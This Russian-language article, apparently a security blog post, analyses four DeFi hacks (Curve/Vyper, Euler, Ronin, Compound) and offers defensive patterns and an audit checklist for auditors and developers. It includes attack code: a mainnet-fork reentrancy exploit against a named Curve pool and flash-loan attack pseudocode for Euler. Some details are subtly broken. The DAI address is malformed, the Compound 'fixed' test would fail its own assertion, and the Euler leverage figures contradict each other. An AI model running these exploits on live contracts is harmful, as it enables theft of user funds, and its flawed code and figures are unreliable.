За 2024 год из DeFi-протоколов было похищено более $2.2 млрд. В первом полугодии 2025 года эта цифра уже превысила $2.17 млрд — и это только середина года. При этом 60%+ взломанных протоколов имели аудит от известных компаний.

Эта статья — не пересказ новостей. Это технический разбор четырёх ключевых эксплойтов, которые я воспроизводил в тестовой среде при подготовке к аудитам. Для каждого кейса разберём: корневую причину, почему это прошло аудит, как воспроизвести атаку в Foundry, и какие паттерны защиты реально работают.

Кейс 1: Vyper Compiler Bug — $70M из Curve Finance

Дата: 30 июля 2023
Потери: ~$70M (с учётом связанных протоколов — Alchemix, JPEG'd, Metronome)
Корневая причина: Баг в компиляторе Vyper версий 0.2.15, 0.2.16, 0.3.0

Почему этот кейс важен

Это не баг в коде протокола. Это баг в компиляторе. Reentrancy lock был написан корректно, но скомпилированный байткод работал неправильно. Ни один аудит смарт-контракта не мог это найти — проблема была уровнем ниже.

Техническая суть уязвимости

В Vyper декоратор @nonreentrant должен блокировать повторный вход в функцию через общий storage slot:

# Ожидаемое поведение: один lock для ключа "lock"
@nonreentrant("lock")
@external
def add_liquidity(...):
    ...

@nonreentrant("lock")
@external  
def remove_liquidity(...):
    ...

Проблема в версии 0.2.15: при рефакторинге аллокации storage была удалена проверка на уникальность ключа.

Уязвимый код компилятора (v0.2.15):

# vyper/semantics/analysis/data_positions.py
storage_slot = 0
for node in vyper_module.get_children(vy_ast.FunctionDef):
    type_ = node._metadata["type"]
    if type_.nonreentrant is not None:
        # BUG: не проверяет, что ключ уже аллоцирован
        type_.set_reentrancy_key_position(StorageSlot(storage_slot))
        storage_slot += 1  # Каждая функция получает СВОЙ slot

Корректный код (до v0.2.15 и после v0.3.1):

if key in self._nonreentrant_keys:
    return self._nonreentrant_keys[key]  # Возвращаем существующий slot
# Только если ключ новый — аллоцируем

В результате функции add_liquidity и remove_liquidity с одинаковым ключом "lock" получали разные storage slots. Lock одной функции не блокировал другую.

Механика атаки

1. Attacker вызывает remove_liquidity()
2. remove_liquidity() устанавливает lock в slot 0
3. Внутри remove_liquidity() происходит callback (например, через ETH transfer)
4. В callback attacker вызывает add_liquidity()
5. add_liquidity() проверяет lock в slot 1 — он свободен!
6. add_liquidity() выполняется, манипулируя ценой LP-токенов
7. remove_liquidity() завершается с искажёнными данными

Воспроизведение в Foundry

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "forge-std/Test.sol";

interface ICurvePool {
    function add_liquidity(uint256[2] calldata amounts, uint256 min_mint) external payable returns (uint256);
    function remove_liquidity(uint256 amount, uint256[2] calldata min_amounts) external returns (uint256[2] memory);
}

contract VyperReentrancyExploit is Test {
    ICurvePool constant POOL = ICurvePool(0xDC24316b9AE028F1497c275EB9192a3Ea0f67022); // stETH pool
    
    uint256 attackStage;
    
    function testExploit() public {
        // Fork mainnet at block before patch
        vm.createSelectFork("mainnet", 17800000);
        
        // Setup: получаем LP токены
        deal(address(this), 100 ether);
        uint256[2] memory amounts = [uint256(50 ether), uint256(0)];
        uint256 lpReceived = POOL.add_liquidity{value: 50 ether}(amounts, 0);
        
        // Attack: remove_liquidity с reentrancy
        attackStage = 1;
        uint256[2] memory minAmounts = [uint256(0), uint256(0)];
        
        // Это вызовет receive() при отправке ETH
        POOL.remove_liquidity(lpReceived, minAmounts);
        
        console.log("Profit:", address(this).balance - 50 ether);
    }
    
    receive() external payable {
        if (attackStage == 1) {
            attackStage = 2;
            // Reentrancy: add_liquidity во время remove_liquidity
            uint256[2] memory amounts = [uint256(1 ether), uint256(0)];
            POOL.add_liquidity{value: 1 ether}(amounts, 0);
        }
    }
}

Почему аудит не нашёл

  1. Аудит проверяет исходный код, не байткод. В исходнике всё корректно

  2. Компилятор — trusted component. Аудиторы не проверяют компиляторы

  3. Баг существовал 2 года (с июля 2021 по июль 2023) без обнаружения

Паттерны защиты

1. Explicit mutex вместо декораторов:

contract SecurePool {
    uint256 private constant NOT_ENTERED = 1;
    uint256 private constant ENTERED = 2;
    uint256 private _status = NOT_ENTERED;
    
    modifier nonReentrant() {
        require(_status != ENTERED, "ReentrancyGuard: reentrant call");
        _status = ENTERED;
        _;
        _status = NOT_ENTERED;
    }
}

2. Invariant checks после каждой операции:

function remove_liquidity(uint256 lpAmount) external nonReentrant {
    uint256 totalSupplyBefore = totalSupply();
    uint256 reservesBefore = getReserves();
    
    // ... логика remove
    
    // Invariant: reserves/supply ratio не должен меняться более чем на X%
    _checkInvariant(totalSupplyBefore, reservesBefore);
}

function _checkInvariant(uint256 supplyBefore, uint256 reservesBefore) internal view {
    uint256 ratioBefore = reservesBefore * 1e18 / supplyBefore;
    uint256 ratioAfter = getReserves() * 1e18 / totalSupply();
    
    uint256 deviation = ratioBefore > ratioAfter 
        ? ratioBefore - ratioAfter 
        : ratioAfter - ratioBefore;
    
    require(deviation < MAX_DEVIATION, "Invariant violation");
}

3. CEI + explicit transfer last:

function withdraw(uint256 amount) external nonReentrant {
    // Checks
    require(balances[msg.sender] >= amount, "Insufficient");
    
    // Effects
    balances[msg.sender] -= amount;
    totalDeposits -= amount;
    
    emit Withdrawal(msg.sender, amount);
    
    // Interactions — ПОСЛЕДНИМИ
    (bool success,) = msg.sender.call{value: amount}("");
    require(success, "Transfer failed");
}

Кейс 2: Euler Finance — $197M через donateToReserves

Дата: 13 марта 2023
Потери: $197M (крупнейший хак 2023 года на момент атаки)
Корневая причина: Отсутствие проверки health factor после donation

Техническая суть

Euler Finance — lending протокол с двумя типами токенов:

  • eTokens — представляют collateral (залог)

  • dTokens — представляют debt (долг)

Ключевая особенность Euler — возможность self-collateralized leverage: можно использовать заёмные средства как collateral для дальнейших займов. Максимальный leverage для self-collateralized позиций: 19x.

Уязвимая функция donateToReserves:

function donateToReserves(uint256 subAccountId, uint256 amount) external nonReentrant {
    address account = getSubAccount(msg.sender, subAccountId);
    
    // Проверяем баланс
    require(balanceOf(account) >= amount, "Insufficient balance");
    
    // Сжигаем eTokens пользователя
    _burn(account, amount);
    
    // Добавляем в резервы
    reserves += amount;
    
    // BUG: НЕТ проверки health factor после операции!
    // checkLiquidity(account) — отсутствует
}

Проблема: функция позволяла "пожертвовать" collateral в резервы протокола, при этом dTokens (долг) оставались на балансе. Это искусственно создавало bad debt.

Механика атаки (8 этапов)

// Pseudo-code атаки
contract EulerExploit {
    IEuler euler;
    IERC20 dai;
    
    function exploit() external {
        // 1. Flash loan 30M DAI из Aave
        uint256 flashAmount = 30_000_000e18;
        aave.flashLoan(address(dai), flashAmount);
    }
    
    function executeOperation(uint256 amount) external {
        // 2. Deposit 20M DAI в Euler
        dai.approve(address(euler), 20_000_000e18);
        euler.deposit(0, 20_000_000e18);
        // Получаем ~19.5M eDAI
        
        // 3. Mint (leverage) — берём в долг 10x от депозита
        // Self-collateral factor = 0.95, позволяет до 19x leverage
        euler.mint(0, 195_600_000e18);
        // Теперь: 195.6M eDAI collateral, 200M dDAI debt
        // Health score: ~1.02 (всё ещё safe)
        
        // 4. Repay часть долга оставшимися 10M DAI
        euler.repay(0, 10_000_000e18);
        // dDAI уменьшился на 10M
        
        // 5. Mint снова
        euler.mint(0, 195_600_000e18);
        // eDAI: ~310M, dDAI: ~390M
        
        // 6. КЛЮЧЕВОЙ ШАГ: Donate 100M eDAI в резервы
        euler.donateToReserves(0, 100_000_000e18);
        // eDAI: ~210M, dDAI: ~390M (не изменился!)
        // Health score падает до ~0.75 — позиция UNDERWATER
        
        // 7. Liquidate через второй контракт
        // При health < 0.8 ликвидатор получает 20% bonus
        liquidator.liquidate(address(this));
        
        // 8. Withdraw и возврат flash loan
        euler.withdraw(0, type(uint256).max);
        dai.transfer(address(aave), amount + fee);
        
        // Profit: ~8.87M DAI только из DAI pool
        // Атака повторена на других пулах
    }
}

Математика атаки

Initial state after deposit + mint:
  Collateral (eDAI): 310,930,612
  Debt (dDAI):       390,000,000
  Health Score:      310.9M * 0.95 / 390M = 0.757 (но это ПОСЛЕ donate)

Liquidation discount at health 0.75: 20% (максимум)

Liquidator получает:
  eDAI worth 390M dDAI * 1.20 = 468M effective value
  Но реально забирает оставшиеся 210M eDAI + погашает часть dDAI

Profit = Полученные активы - Flash loan - Fees

Foundry PoC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "forge-std/Test.sol";
import "./interfaces/IEuler.sol";

contract EulerExploitTest is Test {
    // Mainnet addresses
    address constant EULER = 0x27182842E098f60e3D576794A5bFFb0777E025d3;
    address constant EULER_EXEC = 0x59828FdF7ee634AaaD3f58B19fDBa3b03E2D9d80;
    IERC20 constant DAI = IERC20(0x6B175474E89094C44Da98b954EescdeCB5);
    
    IEuler euler = IEuler(EULER);
    
    Violator violator;
    Liquidator liquidator;
    
    function setUp() public {
        // Fork at block before exploit
        vm.createSelectFork("mainnet", 16817995);
        
        violator = new Violator();
        liquidator = new Liquidator();
    }
    
    function testEulerExploit() public {
        // Get flash loan
        deal(address(DAI), address(this), 30_000_000e18);
        
        // Transfer to violator
        DAI.transfer(address(violator), 30_000_000e18);
        
        uint256 balanceBefore = DAI.balanceOf(address(this));
        
        // Execute attack
        violator.attack(address(liquidator));
        
        // Collect profits
        liquidator.withdraw();
        violator.withdraw();
        
        uint256 balanceAfter = DAI.balanceOf(address(this));
        
        console.log("Profit:", (balanceAfter - balanceBefore) / 1e18, "DAI");
        assertGt(balanceAfter, balanceBefore + 1_000_000e18); // > 1M profit
    }
}

contract Violator {
    function attack(address _liquidator) external {
        // ... implementation of steps 2-6
    }
    
    function withdraw() external {
        // Transfer profits back
    }
}

contract Liquidator {
    function liquidate(address violator) external {
        // Execute liquidation with 20% bonus
    }
    
    function withdraw() external {
        // Transfer liquidation profits
    }
}

Почему аудит не нашёл

Euler проходил аудиты от нескольких компаний. После взлома Sherlock (платформа аудита) признала ответственность и выплатила $4.5M компенсации.

Причины пропуска:

  1. Функция выглядела безобидной — "donation" в резервы кажется операцией без риска

  2. Сложное взаимодействие механик — self-collateral + donation + liquidation

  3. Edge case в экстремальном leverage — нужен был 19x leverage для эксплуатации

Паттерны защиты

1. Health check после ЛЮБОГО изменения позиции:

function donateToReserves(uint256 subAccountId, uint256 amount) external nonReentrant {
    address account = getSubAccount(msg.sender, subAccountId);
    
    require(balanceOf(account) >= amount, "Insufficient");
    _burn(account, amount);
    reserves += amount;
    
    // CRITICAL: проверка после операции
    require(
        checkLiquidity(account) >= MIN_HEALTH_FACTOR,
        "Health factor too low after donation"
    );
}

2. Invariant testing для lending протоколов:

// Foundry invariant test
function invariant_noUnderwaterPositions() public {
    address[] memory users = getAllUsers();
    for (uint i = 0; i < users.length; i++) {
        uint256 healthFactor = euler.getHealthFactor(users[i]);
        assertGe(healthFactor, 1e18, "Underwater position exists");
    }
}

function invariant_reservesNeverNegative() public {
    assertGe(euler.reserves(), 0);
}

function invariant_totalSupplyMatchesDeposits() public {
    uint256 totalETokens = eToken.totalSupply();
    uint256 totalUnderlyingValue = euler.getTotalDeposits();
    // С учётом accumulated interest
    assertApproxEqRel(totalETokens, totalUnderlyingValue, 0.01e18);
}

3. Rate limiting для критических операций:

mapping(address => uint256) public lastDonationTime;
uint256 public constant DONATION_COOLDOWN = 1 hours;
uint256 public constant MAX_DONATION_PERCENT = 10; // 10% от позиции

function donateToReserves(uint256 amount) external {
    require(
        block.timestamp >= lastDonationTime[msg.sender] + DONATION_COOLDOWN,
        "Cooldown active"
    );
    require(
        amount <= balanceOf(msg.sender) * MAX_DONATION_PERCENT / 100,
        "Donation too large"
    );
    
    lastDonationTime[msg.sender] = block.timestamp;
    // ... rest of logic
}

Кейс 3: Ronin Bridge — $625M через компрометацию валидаторов

Дата: 23 марта 2022 (обнаружено 29 марта)
Потери: 173,600 ETH + 25.5M USDC (~$625M)
Корневая причина: Компрометация 5 из 9 приватных ключей валидаторов

Почему этот кейс в статье про смарт-контракты

Ronin Bridge технически работал корректно. Уязвимость была в архитектуре и операционной безопасности. Это критически важный урок: безопасность протокола не ограничивается кодом.

Архитектура Ronin Bridge

Ronin Sidechain                    Ethereum Mainnet
      │                                   │
      │    ┌─────────────────────┐       │
      │    │   Ronin Bridge      │       │
      │    │   Contract          │       │
      │    │                     │       │
      │    │  Validators (9):    │       │
      │    │  - Sky Mavis (4)    │       │
      │    │  - Axie DAO (1)     │       │
      │    │  - External (4)     │       │
      │    │                     │       │
      │    │  Threshold: 5/9     │       │
      │    └─────────────────────┘       │
      │                                   │

Критическая проблема #1: 4 из 9 валидаторов контролировались одной компанией (Sky Mavis).

Критическая проблема #2: Порог 5/9 означал, что нужен только +1 валидатор для полного контроля.

Как произошла компрометация

Timeline:
─────────────────────────────────────────────────────────────
Nov 2021: Sky Mavis просит Axie DAO подписывать транзакции
          от их имени (из-за высокой нагрузки)
          
          Axie DAO добавляет Sky Mavis в allowlist
          
Dec 2021: Временный доступ должен быть отозван
          
          BUG: Allowlist access НЕ был отозван
          
Mar 2022: Атакующий получает доступ к Sky Mavis через
          их gas-free RPC node (социальная инженерия/фишинг)
          
          4 ключа Sky Mavis + 1 ключ Axie DAO (через allowlist)
          = 5/9 валидаторов
          
23 Mar:   Атакующий подписывает withdrawal 173,600 ETH + 25.5M USDC
          
29 Mar:   Пользователь сообщает о невозможности вывести 5000 ETH
          Взлом обнаружен через 6 ДНЕЙ после факта

Уязвимый код bridge

// Simplified Ronin Bridge validation
contract RoninBridge {
    uint256 public constant THRESHOLD = 5;
    address[9] public validators;
    
    function withdraw(
        address token,
        uint256 amount,
        address recipient,
        bytes[] calldata signatures
    ) external {
        bytes32 hash = keccak256(abi.encodePacked(token, amount, recipient, nonce++));
        
        uint256 validSigs = 0;
        address lastSigner = address(0);
        
        for (uint i = 0; i < signatures.length; i++) {
            address signer = recoverSigner(hash, signatures[i]);
            
            // Проверка: подписант является валидатором
            require(isValidator(signer), "Invalid validator");
            
            // Проверка: подписи идут в порядке возрастания (защита от дублей)
            require(signer > lastSigner, "Invalid signature order");
            lastSigner = signer;
            
            validSigs++;
        }
        
        // Если >= 5 подписей — выполняем вывод
        require(validSigs >= THRESHOLD, "Not enough signatures");
        
        // Transfer funds
        IERC20(token).transfer(recipient, amount);
    }
}

Код технически корректен. Проблема в том, что 5 ключей были скомпрометированы.

Математика выбора threshold

Для M-of-N multisig схемы:

Security = вероятность, что атакующий НЕ получит M ключей

При 5/9:
- Sky Mavis контролирует 4 ключа
- Компрометация Sky Mavis + 1 любого = полный контроль
- Эффективный threshold: 1 (один дополнительный ключ)

При 7/9:
- Атакующему нужно 7 ключей
- Даже компрометация Sky Mavis (4) недостаточна
- Нужно ещё 3 независимых ключа

Рекомендация: Threshold должен быть > 2/3 и ни одна сторона не должна контролировать > (N - M) ключей.

Паттерны защиты для bridge архитектуры

1. Timelocked withdrawals + Guardian veto:

contract SecureBridge {
    uint256 public constant TIMELOCK_DELAY = 24 hours;
    uint256 public constant LARGE_WITHDRAWAL_THRESHOLD = 10_000 ether;
    
    mapping(bytes32 => uint256) public withdrawalQueue;
    mapping(bytes32 => bool) public guardianVeto;
    
    address public guardian; // Independent security council
    
    function initiateWithdrawal(
        address token,
        uint256 amount,
        address recipient,
        bytes[] calldata signatures
    ) external {
        // Validate signatures (как раньше)
        require(validateSignatures(...), "Invalid signatures");
        
        bytes32 withdrawalId = keccak256(abi.encodePacked(
            token, amount, recipient, block.timestamp
        ));
        
        if (amount >= LARGE_WITHDRAWAL_THRESHOLD) {
            // Крупные withdrawals идут через timelock
            withdrawalQueue[withdrawalId] = block.timestamp + TIMELOCK_DELAY;
            emit WithdrawalQueued(withdrawalId, token, amount, recipient);
        } else {
            // Мелкие — мгновенно
            _executeWithdrawal(token, amount, recipient);
        }
    }
    
    function executeQueuedWithdrawal(bytes32 withdrawalId) external {
        require(withdrawalQueue[withdrawalId] != 0, "Not queued");
        require(block.timestamp >= withdrawalQueue[withdrawalId], "Timelock active");
        require(!guardianVeto[withdrawalId], "Vetoed by guardian");
        
        // Execute...
    }
    
    function veto(bytes32 withdrawalId) external {
        require(msg.sender == guardian, "Only guardian");
        guardianVeto[withdrawalId] = true;
        emit WithdrawalVetoed(withdrawalId);
    }
}

2. Withdrawal rate limiting:

contract RateLimitedBridge {
    uint256 public constant DAILY_LIMIT = 50_000 ether;
    uint256 public constant PERIOD = 1 days;
    
    uint256 public currentPeriodStart;
    uint256 public currentPeriodWithdrawals;
    
    function withdraw(uint256 amount) internal {
        _updatePeriod();
        
        require(
            currentPeriodWithdrawals + amount <= DAILY_LIMIT,
            "Daily limit exceeded"
        );
        
        currentPeriodWithdrawals += amount;
        
        // Execute withdrawal...
    }
    
    function _updatePeriod() internal {
        if (block.timestamp >= currentPeriodStart + PERIOD) {
            currentPeriodStart = block.timestamp;
            currentPeriodWithdrawals = 0;
        }
    }
}

3. Distributed key management:

// Validator distribution requirements
contract ValidatorRegistry {
    struct ValidatorInfo {
        address addr;
        string organization;
        string jurisdiction;
        bool isActive;
    }
    
    mapping(address => ValidatorInfo) public validators;
    
    // Constraints:
    // - No organization can have > 20% of validators
    // - Validators must be in >= 3 different jurisdictions
    // - Key rotation required every 90 days
    
    function addValidator(
        address addr,
        string calldata org,
        string calldata jurisdiction
    ) external onlyGovernance {
        require(
            getOrgValidatorCount(org) < totalValidators() / 5,
            "Org limit exceeded"
        );
        require(
            jurisdictionCount() >= 3,
            "Need more jurisdictions"
        );
        
        validators[addr] = ValidatorInfo(addr, org, jurisdiction, true);
    }
}

Кейс 4: Compound Finance — $160M из-за > вместо >=

Дата: 30 сентября 2021
Потери: ~$160M в COMP токенах
Корневая причина: Один символ в условии — > вместо >=

Почему этот кейс критически важен

Это не сложная атака. Это не flash loan. Это не reentrancy. Это опечатка, которая прошла:

  • Code review

  • Тестирование

  • Аудит

  • Governance процесс

  • Mainnet deployment

Контекст: как работает COMP distribution

Compound распределяет COMP токены пользователям за supply и borrow. До Proposal 62 distribution был 50/50. Proposal 62 позволял governance устанавливать разные rates.

Уязвимый код после Proposal 62:

function distributeSupplierComp(
    address cToken,
    address supplier
) internal {
    CompMarketState storage supplyState = compSupplyState[cToken];
    uint256 supplyIndex = supplyState.index;
    uint256 supplierIndex = compSupplierIndex[cToken][supplier];
    
    compSupplierIndex[cToken][supplier] = supplyIndex;
    
    if (supplierIndex == 0 && supplyIndex > compInitialIndex) {
        // Новый supplier — устанавливаем начальный index
        supplierIndex = compInitialIndex;
    }
    
    // BUG: должно быть >=
    if (supplyIndex > supplierIndex) {  // <-- ЗДЕСЬ
        uint256 deltaIndex = supplyIndex - supplierIndex;
        uint256 supplierTokens = CToken(cToken).balanceOf(supplier);
        uint256 supplierDelta = supplierTokens * deltaIndex / 1e36;
        
        compAccrued[supplier] += supplierDelta;
    }
}

В чём баг:

Scenario: supplierIndex = 0 (default для нового пользователя)
          supplyIndex = 1e36 (initialIndex)

Условие: supplyIndex > supplierIndex
         1e36 > 0 = TRUE

Результат: deltaIndex = 1e36 - 0 = 1e36
           Пользователь получает rewards за ВЕСЬ период с момента
           запуска протокола, хотя только что присоединился

Корректный код:

// Правильная проверка
if (supplierIndex > 0 && supplyIndex >= supplierIndex) {
    // Accrual только для существующих пользователей
    uint256 deltaIndex = supplyIndex - supplierIndex;
    // ...
}

Или с использованием >=:

if (supplyIndex >= supplierIndex && supplierIndex > 0) {
    // ...
}

Почему исправление заняло неделю

Timeline:
─────────────────────────────────────────────────────────────
Sep 30:   Proposal 62 исполняется, баг активен
          
          Пользователи начинают claim неправомерные rewards
          
          Compound Labs обнаруживает проблему
          
Sep 30:   Robert Leshner: "There are no admin controls to
          disable COMP distribution. Any changes require
          7-day governance process."
          
Oct 2:    Proposal 63 создан — временно отключает distribution
          
Oct 3:    Proposal 64 создан — patch fix
          
Oct 9:    Proposal 64 исполняется (7 дней governance delay)
─────────────────────────────────────────────────────────────
Итого: 9 дней от обнаружения до исправления

За это время было выведено ~490,000 COMP (~$160M).

Foundry тест для обнаружения

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "forge-std/Test.sol";

contract CompoundBugTest is Test {
    // Simplified Comptroller for demonstration
    
    uint256 constant INITIAL_INDEX = 1e36;
    
    mapping(address => mapping(address => uint256)) compSupplierIndex;
    mapping(address => uint256) compAccrued;
    
    // Vulnerable version
    function distributeSupplierCompVulnerable(
        address cToken,
        address supplier,
        uint256 supplyIndex,
        uint256 balance
    ) public {
        uint256 supplierIndex = compSupplierIndex[cToken][supplier];
        compSupplierIndex[cToken][supplier] = supplyIndex;
        
        if (supplierIndex == 0 && supplyIndex > INITIAL_INDEX) {
            supplierIndex = INITIAL_INDEX;
        }
        
        // BUG: > instead of >=, and no check for supplierIndex > 0
        if (supplyIndex > supplierIndex) {
            uint256 deltaIndex = supplyIndex - supplierIndex;
            uint256 supplierDelta = balance * deltaIndex / 1e36;
            compAccrued[supplier] += supplierDelta;
        }
    }
    
    // Fixed version
    function distributeSupplierCompFixed(
        address cToken,
        address supplier,
        uint256 supplyIndex,
        uint256 balance
    ) public {
        uint256 supplierIndex = compSupplierIndex[cToken][supplier];
        compSupplierIndex[cToken][supplier] = supplyIndex;
        
        if (supplierIndex == 0 && supplyIndex >= INITIAL_INDEX) {
            supplierIndex = INITIAL_INDEX;
        }
        
        // FIXED: >= and check for initialized supplier
        if (supplierIndex > 0 && supplyIndex >= supplierIndex) {
            uint256 deltaIndex = supplyIndex - supplierIndex;
            uint256 supplierDelta = balance * deltaIndex / 1e36;
            compAccrued[supplier] += supplierDelta;
        }
    }
    
    function testVulnerability() public {
        address cToken = address(0x1);
        address newUser = address(0x2);
        uint256 balance = 1_000_000e18; // 1M cTokens
        
        // Supply index накопился за время работы протокола
        uint256 currentSupplyIndex = 2e36; // 2x от initial
        
        // Новый пользователь (supplierIndex = 0)
        
        // Vulnerable: новый пользователь получает rewards
        distributeSupplierCompVulnerable(cToken, newUser, currentSupplyIndex, balance);
        
        uint256 vulnAccrued = compAccrued[newUser];
        console.log("Vulnerable accrued:", vulnAccrued / 1e18);
        
        // Reset
        compAccrued[newUser] = 0;
        compSupplierIndex[cToken][newUser] = 0;
        
        // Fixed: новый пользователь НЕ получает rewards
        distributeSupplierCompFixed(cToken, newUser, currentSupplyIndex, balance);
        
        uint256 fixedAccrued = compAccrued[newUser];
        console.log("Fixed accrued:", fixedAccrued / 1e18);
        
        assertGt(vulnAccrued, 0, "Vulnerable version gives rewards");
        assertEq(fixedAccrued, 0, "Fixed version gives no rewards");
    }
}

Как ловить такие баги

1. Boundary value testing:

function test_boundaryValues() public {
    // Test: supplierIndex = 0 (new user)
    // Test: supplierIndex = initialIndex (just initialized)
    // Test: supplierIndex = supplyIndex (no change)
    // Test: supplierIndex > supplyIndex (shouldn't happen but test)
    
    uint256[] memory supplierIndexes = new uint256[](4);
    supplierIndexes[0] = 0;
    supplierIndexes[1] = INITIAL_INDEX;
    supplierIndexes[2] = CURRENT_INDEX;
    supplierIndexes[3] = CURRENT_INDEX + 1;
    
    for (uint i = 0; i < supplierIndexes.length; i++) {
        // Test each boundary
        testDistribution(supplierIndexes[i]);
    }
}

2. Invariant: total distributed <= total allocated:

function invariant_distributionNeverExceedsAllocation() public {
    uint256 totalDistributed = getTotalDistributedComp();
    uint256 totalAllocated = COMP.balanceOf(address(comptroller));
    
    assertLe(
        totalDistributed,
        totalAllocated + INITIAL_ALLOCATION,
        "Distributed more than allocated"
    );
}

3. Differential testing:

function testDifferential_oldVsNew(
    address supplier,
    uint256 supplyIndex,
    uint256 balance
) public {
    // Fuzz inputs
    vm.assume(balance > 0 && balance < type(uint128).max);
    vm.assume(supplyIndex >= INITIAL_INDEX);
    
    // Compare old and new implementation
    uint256 oldResult = oldComptroller.distributeSupplierComp(...);
    uint256 newResult = newComptroller.distributeSupplierComp(...);
    
    // New implementation should never give MORE rewards
    assertLe(newResult, oldResult + ACCEPTABLE_DELTA);
}

Практический раздел: Чеклист аудитора

После анализа сотен эксплойтов, вот consolidated чеклист, который я использую:

Reentrancy (все типы)

□ Все external calls после state changes (CEI pattern)
□ nonReentrant модификатор на функциях с transfers
□ Cross-function reentrancy: проверить ВСЕ функции с shared state
□ Cross-contract reentrancy: проверить callbacks в external contracts
□ Read-only reentrancy: view функции не используются для pricing во время mutation

Access Control

□ Все privileged функции защищены модификаторами
□ Ownership transfer — two-step pattern
□ Timelock на критические операции (> $X value)
□ Emergency pause mechanism существует
□ Guardian/multisig не имеет unlimited power
□ Key distribution: ни одна сторона не контролирует > threshold-1 ключей

Math & Logic

□ Overflow в unchecked блоках
□ Division before multiplication
□ Rounding direction (в пользу протокола, не пользователя)
□ Precision loss в calculations
□ Edge cases: zero values, max values, boundary conditions
□ Все >= vs > vs == операторы проверены на корректность

External Interactions

□ Return values проверяются (особенно для non-standard ERC20)
□ Low-level calls с проверкой success
□ Assumptions о external contracts задокументированы и проверены
□ Oracle freshness validation
□ Oracle deviation checks (multiple oracles)
□ Fallback mechanisms при oracle failure

Protocol-Specific (Lending)

□ Health factor проверяется после КАЖДОЙ операции
□ Liquidation logic корректна при extreme values
□ Interest accrual не создаёт overflow
□ Flash loan resistance (price manipulation)
□ Self-collateral loops ограничены

Protocol-Specific (Bridges)

□ Validator distribution достаточно decentralized
□ Threshold выбран корректно (> 2/3)
□ Timelock на large withdrawals
□ Rate limiting на withdrawals
□ Guardian veto mechanism
□ Monitoring и alerting настроены

Заключение

Четыре разобранных кейса показывают разные классы уязвимостей:

Кейс

Класс

Сложность обнаружения

Защита

Curve/Vyper

Compiler bug

Невозможно через code audit

Мониторинг compiler versions, formal verification

Euler

Business logic

Высокая (complex interactions)

Invariant testing, comprehensive health checks

Ronin

Architecture/OpSec

Средняя (требует threat modeling)

Distributed key management, timelocks

Compound

Typo/Logic error

Низкая (boundary testing ловит)

Thorough testing, differential testing

Главный вывод: Аудит — это baseline, не гарантия. После аудита нужны:

  1. Bug bounty — Immunefi, HackerOne

  2. Runtime monitoring — Forta, OpenZeppelin Defender

  3. Incident response plan — что делать, когда (не если) найдут баг

  4. Continuous security — повторные аудиты при изменениях


Ресурсы


Если вы работаете над DeFi-протоколом и хотите обсудить безопасность — контакты в профиле. Также буду рад обратной связи по статье в комментариях.

Комментарии (0)